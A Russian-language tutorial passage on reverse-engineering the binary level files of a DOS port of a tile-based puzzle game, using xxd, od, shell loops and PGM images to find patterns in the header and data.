Я буду считать, что вы знаете шестнадцатеричное исчисление, пусть даже и не владеете декодированием шестнадцатеричных значений, а также что вы немного знакомы с командной оболочкой (shell) Unix. Показанная в этой статье сессия оболочки выполняется на стандартной системе Linux, но почти используемые команды являются распространёнными утилитами Unix, и широко распространены на других Unix-подобных системах.
### Первый взгляд
Вот листинг каталога, содержащего файлы данных из порта под MS-DOS:
>
> ```
> $ ls levels
> all_full.pak cake_wal.pak eeny_min.pak iceberg.pak lesson_5.pak mulligan.pak playtime.pak southpol.pak totally_.pak
> alphabet.pak castle_m.pak elementa.pak ice_cube.pak lesson_6.pak nice_day.pak potpourr.pak special.pak traffic_.pak
> amsterda.pak catacomb.pak fireflie.pak icedeath.pak lesson_7.pak nightmar.pak problems.pak spirals.pak trinity.pak
> apartmen.pak cellbloc.pak firetrap.pak icehouse.pak lesson_8.pak now_you_.pak refracti.pak spooks.pak trust_me.pak
> arcticfl.pak chchchip.pak floorgas.pak invincib.pak lobster_.pak nuts_and.pak reverse_.pak steam.pak undergro.pak
> balls_o_.pak chiller.pak forced_e.pak i.pak lock_blo.pak on_the_r.pak rink.pak stripes.pak up_the_b.pak
> beware_o.pak chipmine.pak force_fi.pak i_slide.pak loop_aro.pak oorto_ge.pak roadsign.pak suicide.pak vanishin.pak
> blink.pak citybloc.pak force_sq.pak jailer.pak memory.pak open_que.pak sampler.pak telebloc.pak victim.pak
> blobdanc.pak colony.pak fortune_.pak jumping_.pak metastab.pak oversea_.pak scavenge.pak telenet.pak vortex.pak
> blobnet.pak corridor.pak four_ple.pak kablam.pak mind_blo.pak pain.pak scoundre.pak t_fair.pak wars.pak
> block_fa.pak cypher.pak four_squ.pak knot.pak mishmesh.pak paranoia.pak seeing_s.pak the_last.pak writers_.pak
> block_ii.pak deceptio.pak glut.pak ladder.pak miss_dir.pak partial_.pak short_ci.pak the_mars.pak yorkhous.pak
> block_n_.pak deepfree.pak goldkey.pak lemmings.pak mixed_nu.pak pentagra.pak shrinkin.pak the_pris.pak
> block_ou.pak digdirt.pak go_with_.pak lesson_1.pak mix_up.pak perfect_.pak skelzie.pak three_do.pak
> block.pak digger.pak grail.pak lesson_2.pak monster_.pak pier_sev.pak slide_st.pak time_lap.pak
> bounce_c.pak doublema.pak hidden_d.pak lesson_3.pak morton.pak ping_pon.pak slo_mo.pak torturec.pak
> brushfir.pak drawn_an.pak hunt.pak lesson_4.pak mugger_s.pak playhous.pak socialis.pak tossed_s.pak
> ```
>
Как видите, все файлы заканчиваются на `.pak`. `.pak` является стандартным разрешением для файла данных приложений, и это, к сожалению, не даёт нам никакой информации о его внутренней структуре. Названия файлов — это первые восемь символов названия уровня, за некоторыми исключениями. (Например, в названиях файлов уровней «BLOCK BUSTER» и «BLOCK BUSTER II» опущено слово «buster», чтобы они не совпадали.)
>
> ```
> $ ls levels | wc
> 17 148 1974
> ```
>
В каталоге находится 148 файлов данных, и в игре на самом деле ровно 148 уровней, так что тут всё совпадает.
Теперь давайте изучим, что же представляют собой эти файлы. `xxd` — это стандартная утилита для дампа шестнадцатеричных данных (hexdump). Давайте посмотрим, как выглядит внутри «LESSON 1».
>
> ```
> $ xxd levels/lesson_1.pak
> 00000000: 1100 cb00 0200 0004 0202 0504 0407 0505 ................
> 00000010: 0807 0709 0001 0a01 010b 0808 0d0a 0a11 ................
> 00000020: 0023 1509 0718 0200 2209 0d26 0911 270b .#......"..&..'.
> 00000030: 0b28 0705 291e 0127 2705 020d 0122 0704 .(..)..''...."..
> 00000040: 0902 090a 0215 0426 0925 0111 1502 221d .......&.%....".
> 00000050: 0124 011d 0d01 0709 0020 001b 0400 1a00 .$....... ......
> 00000060: 2015 2609 1f00 3300 2911 1522 2302 110d .&...3.).."#...
> 00000070: 0107 2609 1f18 2911 1509 181a 0223 021b ..&...)......#..
> 00000080: 0215 2201 1c01 1c0d 0a07 0409 0201 0201 ..".............
> 00000090: 2826 0123 1505 0902 0121 1505 220a 2727 (&.#.....!..".''
> 000000a0: 0b05 0400 060b 0828 0418 780b 0828 0418 .......(..x..(..
> 000000b0: 700b 0828 0418 6400 1710 1e1e 1a19 0103 p..(..d.........
> 000000c0: 000e 1a17 1710 0e1f 010e 1314 1b29 1f1a .............)..
> 000000d0: 0012 101f 011b 0c1e 1f01 1f13 1001 0e13 ................
> 000000e0: 141b 001e 1a0e 1610 1f2d 0020 1e10 0116 .........-. ....
> 000000f0: 1024 291f 1a01 1a1b 1019 000f 1a1a 1d1e .$).............
> 00000100: 2d02
> ```
>
> **Что такое утилита для создания hexdump?** Шестнадцатеричный дамп — это стандартный способ отображения точных байтов двоичного файла. Большинство байтовых значений нельзя связать с печатными символами ASCII, или они имеют непонятный внешний вид (например символ табуляции). В шестнадцатеричном дампе отдельные байты выводятся в виде численных значений. Значения отображаются в шестнадцатеричном виде, отсюда и название. В показанном выше примере в одной строке вывода отображается 16 байт. Самый левый столбец показывает позицию строки в файле, тоже в шестнадцатеричном виде, поэтому в каждой строке число увеличивается на 16. Байты отображаются в восемь столбцов, и в каждом столбце отображается по два байта. Справа в hexdump показывается, как бы выглядели байты при отображении символами, только все непечатаемые значения ASCII заменены точками. Это упрощает нахождение строк, которые могут быть встроены в двоичный файл.
Очевидно, что реверс-инжиниринг этих файлов не будет сводиться к обычному просмотру содержимого и изучению того, что там видно. Пока здесь нет ничего не говорит нам о том, какие функции выполняют данные.
### Что мы ожидаем увидеть?
Давайте сделаем шаг назад и проясним ситуацию: какие конкретно данные мы ожидаем найти в этих файлах данных?
Самое очевидное — это некая «карта» уровня: данные, обозначающие позиции стен и дверей, а также всего остального, что делает уровень уникальным.
(К счастью для нас, фанаты игры проделали кропотливую работу и собрали полные карты для всех 148 уровней, поэтому мы можем использовать их, чтобы знать, что должно находиться на каждой карте.)
В дополнение к карте у каждого уровня должно быть несколько других атрибутов. Например, можно заметить, что у каждого уровня есть название, например «LESSON 1», «PERFECT MATCH», «DRAWN AND QUARTERED», и так далее. У разных уровней также есть разные ограничения по времени, поэтому можно предположить, что эта информация тоже содержится в данных. Кроме того, на каждом уровне есть собственное число собираемых чипов. (Мы могли бы предположить, что это число просто соответствует количеству чипов на уровне, но оказывается, что на некоторых уровнях содержится больше чипов, чем нужно для открытия разъёма чипов. Хотя бы для этих уровней минимальное количество должно указываться в явной форме.)
Ещё один фрагмент данных, который мы ожидаем найти в данных уровня — это текст подсказок. На некоторых уровнях есть «кнопка подсказки» — лежащий на земле большой вопросительный знак. Когда Чип встаёт на него, показывается текст подсказки. Кнопка подсказки есть примерно на 20 уровнях.
Наконец, у каждого уровня есть пароль — последовательность из четырёх букв, позволяющая игроку продолжить игру с этого уровня. (Этот пароль необходим, потому что в Lynx нет хранилища данных. Сохранять на консоли игры было нельзя, поэтому продолжать игру после включения консоли можно было с помощью паролей.)
Итак, вот наш список нужных данных:
* Карта уровня
* Название уровня
* Пароль уровня
* Ограничение времени
* Количество чипов
* Текст подсказки
Давайте примерно оценим общий размер данных. Проще всего определить ограничение по времени и количество чипов. Оба эти параметра могут иметь значения в интервале от 0 до 999, поэтому они скорее всего хранятся в виде целочисленных значений общим размером 4 байта. Пароль всегда состоит из четырёх букв, поэтому скорее всего хранится как ещё четыре байта, то есть всего 8 байт. Длина названий уровней варьируется от четырёх до девятнадцати символов. Если мы предположим, что нужен ещё один байт для завершения строки, то это двадцать байт, то есть промежуточный итог составляет 28 байт. Самый длинный текст подсказки имеет размер более 80 байт; если мы округлим это значение до 90, то в сумме получим 118 байт.
А что насчёт схемы уровня? Большинство уровней имеет размер 32 × 32 тайлов. Уровней большего размера не существует. Некоторые уровни меньше, но будет логично предположить, что они просто встроены в карту размером 32 × 32. Если предположить, что на один тайл карте требуется один байт, то для полной схемы нужно 1024 байта. То есть в целом мы получаем приблизительную оценку в 1142 байта на каждый уровень. Разумеется, это всего лишь грубая первоначальная прикидка. Вполне возможно, что некоторые из этих элементов хранятся иначе, или вообще не хранятся внутри файлов уровней. Или в них могут находиться другие данные, которые мы не заметили или не знаем о них. Но пока мы заложили неплохую основу.
Определившись с тем, что мы ожидаем увидеть в файлах данных, давайте вернёмся к изучению того, что же на самом деле в них содержится.
### Что там есть и чего нет
Хотя на первый взгляд файл данных выглядит совершенно непонятно, в нём всё равно можно заметить пару моментов. Во-первых, это то, чего мы *не* видим. Например, мы не видим названия уровня или текста подсказок. Можно понять, что это не совпадение, изучив и другие файлы:
>
> ```
> $ strings levels/* | less
> :!!;#
> &>''::4#
> .,,!
> -54";
> /&67
> !)60
> <171
> *(0*
> 82>'=/
> 8><171&&
> 9>#2')(
> , )9
> 0hX
> `@PX
> )""*
> 24**5
> ;))<
> B777:..22C1
> E,,F
> -GDED
> EGFF16G;;H<
> IECJ
> 9K444
> =MBBB>>N9"O"9P3?Q
> lines 1-24/1544 (more)
> ```
>
Здесь ничего не видно, кроме произвольных фрагментов ASCII-мусора.
Предположительно, где-то в этих файлах есть названия уровней и подсказки, но они или хранятся не в ASCII, или претерпели некую трансформацию (например, из-за сжатия).
Стоит также заметить следующее: файл едва дотягивает по размеру до 256 байт. Это довольно мало, учитывая, что изначально мы оценили его размер более чем в 1140 байт.
Опция `-S` сортирует файлы по убыванию размера.
>
> ```
> $ ls -lS levels | head
> total 592
> -rw-r--r-- 1 breadbox breadbox 680 Jun 23 2015 mulligan.pak
> -rw-r--r-- 1 breadbox breadbox 675 Jun 23 2015 shrinkin.pak
> -rw-r--r-- 1 breadbox breadbox 671 Jun 23 2015 balls_o_.pak
> -rw-r--r-- 1 breadbox breadbox 648 Jun 23 2015 cake_wal.pak
> -rw-r--r-- 1 breadbox breadbox 647 Jun 23 2015 citybloc.pak
> -rw-r--r-- 1 breadbox breadbox 639 Jun 23 2015 four_ple.pak
> -rw-r--r-- 1 breadbox breadbox 636 Jun 23 2015 trust_me.pak
> -rw-r--r-- 1 breadbox breadbox 625 Jun 23 2015 block_n_.pak
> -rw-r--r-- 1 breadbox breadbox 622 Jun 23 2015 mix_up.pak
> ```
>
Самый большой файл занимает всего 680 байт, и это не очень много. А каким будет самый маленький?
Опция `-r` сообщает `ls`, что нужно обратить порядок.
>
> ```
> $ ls -lSr levels | head
> total 592
> -rw-r--r-- 1 breadbox breadbox 206 Jun 23 2015 kablam.pak
> -rw-r--r-- 1 breadbox breadbox 214 Jun 23 2015 fortune_.pak
> -rw-r--r-- 1 breadbox breadbox 219 Jun 23 2015 digdirt.pak
> -rw-r--r-- 1 breadbox breadbox 226 Jun 23 2015 lesson_2.pak
> -rw-r--r-- 1 breadbox breadbox 229 Jun 23 2015 lesson_8.pak
> -rw-r--r-- 1 breadbox breadbox 237 Jun 23 2015 partial_.pak
> -rw-r--r-- 1 breadbox breadbox 239 Jun 23 2015 knot.pak
> -rw-r--r-- 1 breadbox breadbox 247 Jun 23 2015 cellbloc.pak
> -rw-r--r-- 1 breadbox breadbox 248 Jun 23 2015 torturec.pak
> ```
>
Самый мелкий файл занимает всего 206 байт, что в три с лишним раза меньше самого большого. Это довольно широкий интервал с учётом того, что мы ожидали примерно одинаковых размеров уровней.
В нашей первоначальной оценке мы предположили, что карте потребуется по одному байту на тайл, и всего 1024 байт. Если мы урежем эту оценку вдвое, то есть каждый тайл потребует всего 4 бита (или два тайла на байт), то карта всё равно будет занимать 512 байт. 512 меньше, чем 680, но по-прежнему больше, чем размер большинства уровней. И в любом случае — 4 бита обеспечит всего 16 различных значений, а в игре гораздо больше разных объектов.
То есть очевидно, что карты не хранятся в этих файлах в открытом виде. В них используется или более сложное кодирование, обеспечивающее более эффективное описание, и/или они каким-то образом сжаты. Например, в уровне «LESSON 1» мы можем увидеть, как пропущенные записи для «пустых» тайлов значительно уменьшат общий размер данных карты.
Мы можем посмотреть на карты самых больших файлов:
*Карта уровня 57: STRANGE MAZE*
*Карта уровня 98: SHRINKING*
а затем сравнить их с картами самых маленьких файлов:
*Карта уровня 106: KABLAM*
*Карта уровня 112: FORTUNE FAVORS THE*
Это сравнение поддерживают нашу идею о том, что маленькие файлы данных соответствуют более простым уровням, или содержат больше избыточности. Например, если данные сжаты каким-то кодированием длин серий (run-length encoding), это с лёгкостью может объяснить интервалы размеров разных файлов.
Если файлы и на самом деле зашифрованы, то нам, скорее всего, придётся расшифровать сжатие, прежде чем мы приступим к расшифровке данных карт.
### Изучаем несколько файлов одновременно
Наше краткое изучение первого файла данных позволило нам сделать некоторые предположения, но не обнаружило ничего конкретного. В качестве следующего шага мы начнём исследовать паттерны нескольких файлов данных. Пока мы предположим, что во всех 148 файлах используется одинаковая схема упорядочивания для кодирования данных, поэтому поиск в этих файлов повторяющихся паттернов поможет нам приступить к работе.
Давайте начнём с самого начала тайлов. Верх файла скорее всего используется для хранения «метаданных», сообщающих нам о содержимом файла. Посмотрев только на первую строку шестнадцатеричного дампа, мы можем выполнить простое и быстрое сравнение первых 16 байтов и поискать в них выделяющиеся паттерны:
>
> ```
> $ for f in levels/* ; do xxd $f | sed -n 1p ; done | less
> 00000000: 2300 dc01 0300 0004 0101 0a03 030b 2323 #.............##
> 00000000: 2d00 bf01 0300 0015 0101 2203 0329 2222 -........."..)""
> 00000000: 2b00 a101 0301 0105 0000 0601 0207 0505 +...............
> 00000000: 1d00 d300 0200 0003 0101 0402 0205 0102 ................
> 00000000: 2d00 7a01 0300 0006 1414 0701 0109 0303 -.z.............
> 00000000: 3100 0802 0200 0003 0101 0502 0206 1313 1...............
> 00000000: 1a00 b700 0200 0003 0100 0502 0206 0101 ................
> 00000000: 1a00 0601 0300 0005 0001 0601 0107 0303 ................
> 00000000: 2000 7a01 0200 0003 0202 0401 0105 0028 .z............(
> 00000000: 3a00 a400 0200 0003 2828 0428 0205 0303 :.......((.(....
> 00000000: 2600 da00 0300 0004 0507 0901 010a 0303 &...............
> 00000000: 2400 f000 0300 0004 0303 0504 0407 0101 $...............
> 00000000: 2a00 ef01 0300 0005 0101 0614 0007 0303 *...............
> 00000000: 2c00 8c01 0300 0004 0303 0500 0107 0101 ,...............
> 00000000: 2a00 0001 0300 0004 0303 0501 0107 0404 *...............
> 00000000: 1b00 6d01 0200 0003 0101 0502 0206 0003 ..m.............
> 00000000: 1e00 1701 0200 0003 0202 0401 0105 0013 ................
> 00000000: 3200 ee01 0f00 0015 0101 270f 0f29 1414 2.........'..)..
> 00000000: 2a00 5b01 0300 0005 0303 0601 0107 1414 *.[.............
> 00000000: 2c00 8a01 0200 0003 0202 0401 0105 0303 ,...............
> 00000000: 1d00 9c00 0216 1604 0000 0516 0107 0205 ................
> 00000000: 2000 e100 0200 0003 0101 0402 0205 0303 ...............
> 00000000: 2000 2601 0300 0004 0303 0502 0207 0101 .&.............
> 00000000: 1f00 f600 0132 0403 0000 0532 3206 0404 .....2.....22...
> lines 1-24/148 (more)
> ```
>
Просмотрев этот дамп, можно заметить, что в каждом столбце возникают некие схожие значения.
Начав с первого байта, мы вскоре осознаём, что его значение находится в очень ограниченном интервале значений, в пределах шестнадцатеричных `10`–`40` (или примерно `20–60` в десятичном исчислении). Это довольно специфичная особенность.
Ещё интереснее то, что второй байт каждого файла всегда равен нулю, без исключений. Вероятно, второй байт не используется, или является заполнителем. Однако есть и другая вероятность — эти первые два байта вместе обозначают 16-битное значение, хранящееся в порядке little-endian.
> **Что такое little-endian?** При сохранении численного значения, которое больше одного байта, нужно заранее выбрать порядок, в котором будут храниться байты. Если сначала вы сохраняете байт, представляющий меньшую часть числа, то это называется прямым порядком (*little-endian*); если вы сначала сохраняете байты, обозначающие бОльшую часть числа, то это обратный порядок (*big-endian*). Например, десятичные значения мы записываем в обратном порядке (big-endian): строка «42» означает «сорок два», а не «четыре и двадцать». Little-endian — это естественный порядок для многих семейств микропроцессоров, поэтому он обычно более популярен, за исключением сетевых протоколов, в которых обычно требуется big-endian.
Если мы продолжим анализ, то вскоре увидим, что третий байт в файле не похож на два предыдущих: его значение меняется в широком диапазоне. Однако четвёртый байт всегда равен `00`, `01` или `02`, и `01` встречается чаще всего. Это тоже намекает нам, что эти два байта составляют ещё одно 16-битное значение, находящееся примерно в интервале десятичных значений 0–700. Эту гипотезу можно подтвердить ещё и тем, что значение третьего байта обычно низко, если значение четвёртого равно `02`, и обычно велико, если четвёртый байт равен `00`.
Кстати, стоит заметить, что это частично причина того, что стандартно формат шестнадцатеричного дампа отображает байты по парам — так упрощается чтение последовательности 16-битных целочисленных чисел. Формат шестнадцатеричного дампа был стандартизован, когда в ходу были 16-битные компьютеры. Попробуйте заменить `xxd` на `xxd -g1`, чтобы полностью отключить группирование, и вы заметите, что распознавание пар байтов посередине строки требует больших усилий. Это простой пример того, как инструменты, используемые для изучения незнакомых данных, склоняют нас замечать определённые типы паттернов. Хорошо, что по умолчанию `xxd` выделяет этот паттерн, потому что он очень распространён (даже сегодня, когда повсюду используются 64-битные компьютеры). Но полезно и знать, как изменить эти параметры, если они не помогают.
Давайте продолжим визуальное исследование, и посмотрим, сохраняется ли этот паттерн из 16-битных целочисленных значений. Пятый байт обычно имеет очень низкие значения: чаще всего встречаются `02` и `03`, а максимальным значением кажется является `05`. Шестой байт файла очень часто равен нулю — но подчас он содержит гораздо большие значения, например `32` или `2C`. В этой паре наше предположение о распределённых в интервале значениях не особо подтверждается.
### Внимательнее изучаем исходные значения
Мы можем проверить свою догадку, использовав `od` для генерации шестнадцатеричного дампа. Утилита `od` похожа `xxd`, но обеспечивает гораздо больший выбор форматов вывода. Мы можем использовать её, чтобы сдампить вывод в виде 16-битных десятеричных целых чисел:
Опция `-t` утилиты `od` указывает формат вывода. В данном случае `u` обозначает беззнаковые десятеричные числа, а `2` обозначает два байта на запись. (Также этот формат можно задать с помощью опции `-d`.)
>
> ```
> $ for f in levels/* ; do od -tu2 $f | sed -n 1p ; done | less
> 0000000 35 476 3 1024 257 778 2819 8995
> 0000000 45 447 3 5376 257 802 10499 8738
> 0000000 43 417 259 1281 0 262 1794 1285
> 0000000 29 211 2 768 257 516 1282 513
> 0000000 45 378 3 1536 5140 263 2305 771
> 0000000 49 520 2 768 257 517 1538 4883
> 0000000 26 183 2 768 1 517 1538 257
> 0000000 26 262 3 1280 256 262 1793 771
> 0000000 32 378 2 768 514 260 1281 10240
> 0000000 58 164 2 768 10280 10244 1282 771
> 0000000 38 218 3 1024 1797 265 2561 771
> 0000000 36 240 3 1024 771 1029 1796 257
> 0000000 42 495 3 1280 257 5126 1792 771
> 0000000 44 396 3 1024 771 5 1793 257
> 0000000 42 256 3 1024 771 261 1793 1028
> 0000000 27 365 2 768 257 517 1538 768
> 0000000 30 279 2 768 514 260 1281 4864
> 0000000 50 494 15 5376 257 3879 10511 5140
> 0000000 42 347 3 1280 771 262 1793 5140
> 0000000 44 394 2 768 514 260 1281 771
> 0000000 29 156 5634 1046 0 5637 1793 1282
> 0000000 32 225 2 768 257 516 1282 771
> 0000000 32 294 3 1024 771 517 1794 257
> 0000000 31 246 12801 772 0 12805 1586 1028
> lines 1-24/148 (more)
> ```
>
Эти выходные данные показывают, что наши догадки о первых нескольких байтах были верными. Мы видим, что первое 16-битное значение находится в десятеричном интервале 20–70, а второе 16-битное значение — в десятеричном интервале 100–600. Однако последующие значения ведут себя не так хорошо. В них проявляются определённые паттерны (например, в четвёртой позиции на удивление часто встречается 1024), но они не обладают повторяемостью, свойственной первым значениям файла.
Поэтому давайте предварительно допустим, что первые четыре байта файла особые и состоят из двух 16-битных значений. Так как они находятся в самом начале файла, то скорее всего являются метаданными и помогают определить, как считывать остальную часть файла.
На самом деле, второй интервал значений (100–600) довольно близок к замеченному нами ранее интервалу размеров файлов (208–680). Возможно, это не совпадение? Давайте выдвинем гипотезу: хранящееся в третьем и четвёртом байтах файла 16-битное значение коррелирует с общим размером файла. Теперь, когда у нас есть гипотеза, мы можем её проверить. Посмотрим, действительно ли у больших файлов в этом месте постоянно большие значения, а у маленьких — маленькие.
Для отображения размера файла в байтах без всякой другой информации можно использовать `wc` с опцией `-c`. Аналогично, можно добавить к `od` опции, позволяющие выводить только интересующие нас значения. Затем мы можем использовать подстановку команд для записи этих значений в переменные оболочки и отобразить их вместе:
Опция `-An` утилиты `od` отключает самую левый столбец, в котором отображается смещение в файле, а `-N4` приказывает `od` остановиться после первых 4 байтов файла.
>
> ```
> $ for f in levels/* ; do size=$(wc -c <$f) ; data=$(od -tuS -An -N4 $f) ; echo "$size: $data" ; done | less
> 585: 35 476
> 586: 45 447
> 550: 43 417
> 302: 29 211
> 517: 45 378
> 671: 49 520
> 265: 26 183
> 344: 26 262
> 478: 32 378
> 342: 58 164
> 336: 38 218
> 352: 36 240
> 625: 42 495
> 532: 44 396
> 386: 42 256
> 450: 27 365
> 373: 30 279
> 648: 50 494
> 477: 42 347
> 530: 44 394
> 247: 29 156
> 325: 32 225
> 394: 32 294
> 343: 31 246
> ```
>
Посмотрев на эти выходные данные, можно увидеть, что значения приблизительно коррелируют. Меньшие файлы обычно имеют во второй позиции меньшие значения, а большие файлы — большие значения. Однако корреляция не точная, и стоит заметить, что размер файла всегда значительно больше, чем хранящееся в нём значение.
Кроме того, первое 16-битное значение тоже обычно бывает больше при больших размерах файлов, но совпадение тоже не совсем полное, и можно легко найти примеры файлов среднего размера с относительно большими значениями в первой позиции. Но возможно если мы сложим эти два значения, их сумма будет лучше коррелировать с размером файла?
Мы можем использовать `read` для извлечения двух чисел из выходных данных `od` в отдельные переменные, а затем использовать арифметику командной оболочки для нахождения их суммы:
Команда оболочки `read` не может использоваться с правой части вертикальной черты, потому что переданные в конвейер команды выполняются в дочернем командном процессоре (subshell), который при выходе берёт с собой свои переменные окружения в битоприёмник. Поэтому вместо этого нам необходимо воспользоваться функцией подстановки процессов `bash` и направить вывод `od` во временный файл, который затем можно перенаправить в команду `read`.
>
> ```
> $ for f in levels/* ; do size=$(wc -c <$f) ; read v1 v2 < <(od -tuS -An -N4 $f) ; sum=$(($v1 + $v2)) ;
> echo "$size: $v1 + $v2 = $sum" ; done | less
> 585: 35 + 476 = 511
> 586: 45 + 447 = 492
> 550: 43 + 417 = 460
> 302: 29 + 211 = 240
> 517: 45 + 378 = 423
> 671: 49 + 520 = 569
> 265: 26 + 183 = 209
> 344: 26 + 262 = 288
> 478: 32 + 378 = 410
> 342: 58 + 164 = 222
> 336: 38 + 218 = 256
> 352: 36 + 240 = 276
> 625: 42 + 495 = 537
> 532: 44 + 396 = 440
> 386: 42 + 256 = 298
> 450: 27 + 365 = 392
> 373: 30 + 279 = 309
> 648: 50 + 494 = 544
> 477: 42 + 347 = 389
> 530: 44 + 394 = 438
> 247: 29 + 156 = 185
> 325: 32 + 225 = 257
> 394: 32 + 294 = 326
> 343: 31 + 246 = 277
> lines 1-24/148 (more)
> ```
>
Сумма двух числе тоже приблизительно коррелирует с размером файла, но они всё равно не совсем совпадают. Насколько же они отличаются? Давайте продемонстрируем их разность:
>
> ```
> $ for f in levels/* ; do size=$(wc -c <$f) ; read v1 v2 < <(od -tuS -An -N4 $f) ; diff=$(($size - $v1 - $v2)) ;
> echo "$size = $v1 + $v2 + $diff" ; done | less
> 585 = 35 + 476 + 74
> 586 = 45 + 447 + 94
> 550 = 43 + 417 + 90
> 302 = 29 + 211 + 62
> 517 = 45 + 378 + 94
> 671 = 49 + 520 + 102
> 265 = 26 + 183 + 56
> 344 = 26 + 262 + 56
> 478 = 32 + 378 + 68
> 342 = 58 + 164 + 120
> 336 = 38 + 218 + 80
> 352 = 36 + 240 + 76
> 625 = 42 + 495 + 88
> 532 = 44 + 396 + 92
> 386 = 42 + 256 + 88
> 450 = 27 + 365 + 58
> 373 = 30 + 279 + 64
> 648 = 50 + 494 + 104
> 477 = 42 + 347 + 88
> 530 = 44 + 394 + 92
> 247 = 29 + 156 + 62
> 325 = 32 + 225 + 68
> 394 = 32 + 294 + 68
> 343 = 31 + 246 + 66
> lines 1-24/148 (more)
> ```
>
Разность, или значение «остатка», отображается в самой правой части вывода. Это значение не совсем попадает в постоянный паттерн, но, похоже, остаётся примерно в ограниченном интервале 40–120. И снова, чем больше файлы, тем обычно больше их значения остатков. Но иногда у мелких файлов тоже бывают большие значения остатков, так что это не так постоянно, как бы нам хотелось.
Тем не менее, стоит заметить, что значения остатков никогда не бывают отрицательными. Поэтому мысль о том, что эти два значения метаданных указывают на подразделы файла, сохраняет свою привлекательность.
(Если вы достаточно внимательны, то уже увидели нечто, дающее подсказку о пока незамеченной связи. Если не увидели, то продолжайте читать; тайна вскоре будет раскрыта.)
### Более масштабные перекрёстные сравнения файлов
На этом этапе было бы неплохо иметь возможность перекрёстно сравнивать больше, чем 16 байт за раз. Для этого нам потребуется другой тип визуализации. Один из хороших подходов — создать изображение, в котором каждый пиксель обозначает отдельный байт одного из файлов, а цвет обозначает значение этого байта. Изображение может показать срез всех 148 файлов за раз, если каждый файл данных будет обозначаться одной строкой пикселей изображения. Так как все файлы имеют разный размер, мы возьмём по 200 первых байт каждого, чтобы построить прямоугольное изображение.
Проще всего будет построить изображение в градациях серого, в котором значение каждого байта соответствует разным уровням серого. Можно очень просто создать файл PGM с нашими данными, потому что заголовок PGM состоит только из ASCII-текста:
>
> ```
> $ echo P5 200 148 255 >hdr.pgm
> ```
>
> **Что такое файл PGM?** PGM, что расшифровывается как «portable graymap» («платформонезависимая карта оттенков серого») — это один из трёх форматов графических файлов, которые созданы ради чрезвычайной простоты считывания и записи: после заголовка в ASCII, каждый байт описывает цвет одного пикселя в градациях серого. Два остальных формата файлов из этого семейства — это PBM («portable bitmap», «платформонезависимая битовая карта»), описывающий монохромные изображения как 8 пикселей на байт, и PPM («portable pixmap», «платформонезависимая пиксельная карта»), которая описывает изображения как 3 байта на пиксель.
`P5` — это начальная сигнатура, обозначающая формат файлов PGM. Следующие два числа, `200` и `148`, задают ширину и высоту изображения, а последнее, `255`, указывает максимальное значение на пиксель. Заголовок PGM завершается переходом на новую строку, после которого идут пиксельные данные. (Стоит заметить, что заголовок PGM чаще всего разбит на три отдельных строки текста, но стандарт PGM требует только, чтобы элементы были разделены каким-нибудь пробельным символом (whitespace).)
Мы можем использовать утилиту `head`, чтобы извлечь из каждого файла первые 200 байт:
>
> ```
> $ for f in levels/* ; do head -c200 $f ; done >out.pgm
> ```
>
Затем мы можем конкатенировать их с заголовком и создать отображаемое изображение:
`xview` — это старая программа X для отображения изображений в окне. Можете заменить её своим любимой программой просмотра изображений, например, утилитой `display` из ImageMagick, но учтите, что есть на удивление много утилит просмотра изображений, которые не принимают файл изображения, перенаправленный на стандартный вход.
>
> ```
> $ cat hdr.pgm out.pgm | xview /dev/stdin
> ```
>
Если вам сложно рассмотреть детали на тёмном изображении, то можете выбрать другую цветовую схему. Используйте утилиту `pgmtoppm` из ImageMagick, чтобы преобразовать пиксели в другой диапазон цветов. Эта версия создаст «негативное» изображение:
>
> ```
> $ cat hdr.pgm out.pgm | pgmtoppm white-black | xview /dev/stdin
> ```
>
А эта версия делает низкие значения жёлтыми, а высокие — синими:
>
> ```
> $ cat hdr.pgm out.pgm | pgmtoppm yellow-blue | xview /dev/stdin
> ```
>
Видимость цветов — очень субъективный вопрос, поэтому можете поэкспериментировать, и выбрать, что лучше для вас. Как бы то ни было, изображение 200 × 148 довольно мало, так что лучше всего повысить видимость, увеличив его размер:
>
> ```
> $ cat hdr.pgm out.pgm | xview -zoom 300 /dev/stdin
> ```
>
Изображение тёмное, и это означает, что большинство байтов содержит маленькие значения. Контрастирует с ним заметная полоса в основном ярких пикселей ближе к левому краю. Эта полоса расположена в третьем байте файла, который, как мы говорили выше, варьируется в полном интервале значений.
И хотя за пределами третьего байта есть не так много высоких значений, когда они появляются, то часто состоят из серий, создавая на изображении короткие яркие полоски. Некоторые из этих серий периодически прерываются, создавая эффект пунктирной линии. (Возможно, при правильном подборе цвета можно будет заметить такие последовательности и в более тёмных цветах.)
При внимательном изучении изображения можно понять, что в основном в левой части доминируют небольшие вертикальные полосы. Эти полосы говорят нам о некой повторяемости в большинстве файлов. Но не во всех файлах — время от времени появляются строки пикселей, где полосы прерываются — но этого более чем достаточно, чтобы определить наличие реального паттерна. Этот паттерн пропадает в правой части изображения, тёмный фон из полос уступает место чему-то более шумному и неопределённому. (Похоже, что полосы также отсутствуют в самой левой части изображения, но, повторюсь, возможно, что при использовании другой цветовой схемы можно увидеть, что они начинаются ближе к левому краю, чем это кажется здесь.)
Полосы состоят из тонких линий из немного более ярких пикселей на фоне из немного более тёмных пикселей. Следовательно, этот графический паттерн должен коррелировать с паттерном файлов данных, в которых немного бОльшие значения одинаково рассеяны среди немного меньших значений байтов. Похоже, что полосы истощаются примерно посередине изображения. Так как на нём показаны первые 200 байт файлов, следует ожидать, что байтовый паттерн заканчивается примерно после 100 байт.
Тот факт, что эти паттерны изменяются в разных файлах данных, должен привести нас к вопросу: как будут выглядеть файлы после первых 200 байт. Ну, мы можем легко заменить утилиту `head` утилитой `tail` и посмотреть, как выглядят последние 200 байт:
>
> ```
> $ for f in levels/* ; do tail -c200 $f ; done >out.pgm ; cat hdr.pgm out.pgm | xview -zoom 300 /dev/stdin
> ```
>
Мы сразу же видим, что эта область файлов данных сильно отличается. Здесь намного чаще встречаются большие значения байтов, особенно ближе к концу файла. (Однако как и раньше, они предпочитают группироваться вместе, покрывая изображение яркими горизонтальными полосками.) Похоже, что частота высоких значений байтов увеличивается почти до самого конца, где резко обрывается и примерно в последних десяти-двенадцати байтах сменяется низкими значениями. И паттерн здесь тоже не универсален, но он слишком стандартный, чтобы оказаться совпадением.
